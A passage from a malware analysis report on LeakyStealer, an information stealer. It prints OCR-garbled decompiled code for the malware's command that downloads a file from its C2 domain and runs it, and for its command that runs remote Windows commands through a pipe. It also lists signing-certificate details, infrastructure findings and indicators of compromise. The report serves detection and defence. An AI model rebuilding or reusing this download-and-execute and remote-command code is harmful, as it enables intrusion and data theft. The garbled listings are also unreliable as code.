“download URL Localfile” structure.
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if ( a1 )

LODWORD(v1) = lstrlenalal);
if ( (_DWORD) )
{
if ( (unsigned int){({__int&4 (_ fastcall *){const CHAR *, const char *, int&4))sub FFFESF4045DC) (

"download °,

a) )
goto LABEL &;
23 = al + 9;
*(_QOWORD *) = B8;
'.=E'r
memset{vis, @, sizeof( 1);
*(_OWORD *})5tringl = @;
= a;
memseti{vlil, &, sizeot( |} H
= 8;
= sub_ 7FFB5F494457( + 9, " ");
if { w22 )
{
LABEL_6&:
sub_7FFESFA047FA( " [DEBUG] Executing command: %sin”, 1;
sub_ FFF6ESF494844((int)al, (int) , v, w5, ®*(LPSTARTUPINFOA *)5tringl, ¥;
if ( vig[a)] BB *{ QWORD *)Bviaf2] )
{

sub_7FFESFA4947Fa( “[DEBUG] Command succeeded, output size:

Figure 29 - Download command implemented by LeakyStealer

As we can see below, the process downloads the file from the C2 server, creates and populates
the newly created file, and finally executes it using the CreateProcessA method.
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sub_7FFE5F4947Fa( " [DEBUG) Downloading from endpoint: ¥s to ¥s\n", al, al);
MultiByteToWideChar{@, @, al, -1, WideCharStr, 2048);
hsession = WindttpOpen(L"Mozilla/s.8 (Windows NT 18.2; Wined; x64) AppleWebkit/537.36", @, @, 8, 8);
if { hSession }
{
hConnect = WinHttpConnect{hSession, L"everstead.group”, @x1BBu, @);
if { hionnect )
{
dwNumberOfBytesavaillable[1l] = SxE68008;
hRequest = WinHttpOpenRegquest{hConnect, “G", WideCharstr, @, @, 8, SxB2888@u);
if ( hReguest )
{

if { WinHttpSendRequest{hRequest, @, 8, @, &, 8, @) )

if { WinHttpReceiveResponse(hRequest, @) )

{

hFile = CreateFilea(a?, 8x40002008u, &, @, 2u, PxBEBu, 8);
if ( hFile == ([HANDLE)-1LL )}
{

}

else

{

sub_TFFFeSF4947Fa(" [DEBUG] Failed to create file: Xs'\n", al);

Buffer = @;
dwBufferLength = 4;
if ( 'WinHttpQueryHeaders{hRequest, Bx20900013u, @, EBuffer, &dwBufferLength, 8)
|| (sub_7FF65F4947F8(" [DEBUG] HTTP Status Code: %d\n", Buffer), Buffer == 208@) )
{
V26 = @;
do
{
dwNumberOfBytesAvailable[@] = 8;
if { !WinHttpQueryDataftvailable(hReguest, dwhumberOfBytesivailable) )
{
sub_JFF&5F4947F@( " [DEBUG] Failed to query data available\n®);
goto LABEL_35;
¥

Figure 30 - Create new file mentioned in the command
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if ( !WriteFile(hFile, lpBuffer, dwNumberOfBytesRead, &NumberOfByteskritten

{
sub FFFESF4947F0( " [DEBUG] Failed to write to file'\n");
/7 = GetProcessHeap();

HeapFree(v7, 8, lpBuffer);
goto LABEL_35;

}

vZ26 += NumberOfByvTesWrit H

vB = GetProcessHeap();
HeapFree(v8, @, lpBuffer);
lpBuffer = @;
}
while [ dwNumberOfBytesfvailable[@] );
sub_7FFESF4947F@( " [DEBUG] Downloaded %d bytes to: ¥s\n", v26, al);
if ( vie )

{
'..-: Jo= 1;
if ( hFile != (HANDLE)-1LL )
{
CloseHandle(hFile);
hFile = (HANDLE)-1LL;
¥
if ( w27 )
{
memset(&StartupInfo, 8, sizeof(StartupInfo));

memset(&ProcessInformation, @, sizeof(ProcessInformation));
StartupInfo.ch = 184;

St upInfo.dwFlags = 1;

Startuplnfo.wShowdindow = @;

sub_7FFESF4947Fa( " [DEBUG] Executing downloaded file: Xs\n™, a2);

if { CreateProcessi(a2, ©, &, ©, @, éxBooeeoeu, @, 0, &StartupInfo, &ProcessInfors

{
sub_7FFESF4947F@ (" [DEBUG] Successfully executed: ¥s\n", a2);

Figure 31 - CreateProcessA API call

ation) )

The second command can be used to run Windows commands on the infected machine and

sends the output to the C2 server. The output is read using an anonymous pipe:
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.nLength = 24;
bInheritHandle = 1;
Pipeattributes. lpSecurityDescriptor = @3
if { !CreatePipe{B&hReadPipe, ShWritePipe, &PipeAttributes, @) )
return sub 7FFeSF4947Fa("[DEBUG] Failed to create pipe\n™);
if { SetHandlelnformation{hReadP s lu, 8) )
1
lstrepynalStringl, al, 4896);
Start nfo.cbh = 184;
JhstdError = hWritePipe;
fo.hStdOutput = | [

I .hstdInput = 8;
if .dwFlags = 257;
: I o.wShowWindow = 8;
sub IFEEEF494IFH{ [DEBUG] Executing: %Es\n", Stringl);
if { CreateProcessA(®, Stringl, @, @, 1, ox80eeeeeu, 8, @, &Startuplnfo, &Processinformation) )
{
CloseHandle{hWritePipe);
[@] = 4a9s;
ProcessHeap = GetProces _1|I|_<1|'_|{:;|J
*(_QWORD *)BdwBytes[l] = Heapalloc(ProcessHeap, 8u, @xlegeu);
if ( *({_QWORD -jEIJs.-w-[lj )
while { ReadfFile(hReadPipe, ffer, @xFFFu, SNumberOfBytesRead, @) && NumberOfBytesRead )
i
if { dwBytes[@] < NumberOfBytesRead + v19 )
i
dwBytes[@] *= 2;
5 = dwBytes[@];
& = GetProcessHeap();
17 = HeapReAlloc{vé, Bu, *{LPVOID *)8dwBytes[1], v5);
if ( 1vl? )
break;
*(_QWORD *)&dwBytes[1] = v17;
}
sub ?FFESF4943EE( } o+ *{_OWORD *)&dwBytes[l1], Buffer, NumberOfBytesRead);
9 = MU } ..._-"'-:"".;
}

Figure 32 - Execute Windows command on the infected host

Mapping the infrastructure

The certificate’s issuer details point to a Hong Kong registrant. Similar versions of the stealer were
signed with the same certificate. At the time of the analysis, the certificate was still valid, but at the
time of publishing this report it has been revoked by its issuer.
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Figure 33 - Signed Certificate information

The certificate thumbprint ABBF7554363D27DEB374C4E2658AC05C60E3BAAY revealed seven
related samples, demonstrating that the threat actor reuses signing infrastructure across multiple
payloads.

Signer: Hefei Nudan Jukuang Network Technology Co., Ltd.
Valid Period: September 9, 2025 - September 9, 2026
Issuer: Sectigo Public Code Signing CA EV R36

This legitimate Extended Validation (EV) certificate may have been potentially obtained through
fraudulent means or a compromised business entity may have potentially been abused for
malware signing. The seven samples share consistent operational patterns:

» Persistence mechanisms across all variants

o Masquerading as legitimate Microsoft Edge update components

» Recent activity with samples spanning October 1-9, 2025

A Shodan search for the IP address returns open ports 22, 80 and 443.
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Figure 34 - Shodan search

There are two domains associated with the IP address, namely “everstead[.]Jgroup” and “ip-
ptr[.]Jtech”.
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Figure 35 - Shodan result for the IP address

The MSI file called “dynatrc.php” drops LeakyStealer with SHA256
dea8653698cea84e063165524c3e8c8141de246a29b9b8de40be3943fd1c6f14 that
communicates with the same C2 server. The installer could be downloaded from the
paycnex[.Jcom domain, as highlighted below:

[l Fellerg o Beinilyae L Download - -5 TR

DR SRS B DO SIS L SO 53 2 0TS D 0 Cho 10 L sl L5 02 2

dyratre php L0 HES 11 days apo

e hedic-ush bai

DETECTN DETHILY RE LATIONS BEHANHHE COMTENT TELEMETEY DOEELUHITY

ITW ls (3] 00

Figure 36 - VirusTotal result shows the distribution site of the installer
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We’'ve identified a PowerShell script that is related to NetSupportRAT on the same domain:
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Figure 37 - PowerShell script related to NetSupportRAT was stored on the distribution domain

LeakyStealer Through the Eyes of Hybrid Analysis

The Hybrid Analysis report identifies multiple behavioral patterns and indicators that classify
LeakyStealer as a new, information-stealing malware. For example, it highlights that the process
targets crypto browser extensions and the history files across multiple browsers. Through in-depth
technical analysis of LeakyStealer’s core functionality, we're potentially offering insights enabling
more effective detection and defense strategies.

Hybrid Analysis is a powerful platform for identifying and analyzing malware, whether mundane or
highly sophisticated. It provides detailed context and information that can be investigated further
during the dynamic analysis of the malware. For performing a more in-depth analysis of malware
samples, you can download them by registering with a Hybrid Analysis account and becoming a
vetted user.

Indicators of Compromise

SHA256
9b8bd9550e8fdb0ca1482f801121113b364e590349922a3f7936b2a7b6741e82
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88e0c1652eb91c517a5fec9d356¢7f30c0136d544f5d55ac37f20c5612134efb

Files created
%AppData%\MicrosoftEdgeUpdateCore.exe
C:\Users\<User>\AppData\Local\Temp\history_%d.db

Registry value
EdgeUpdateCore

C2 server
everstead|[.]group
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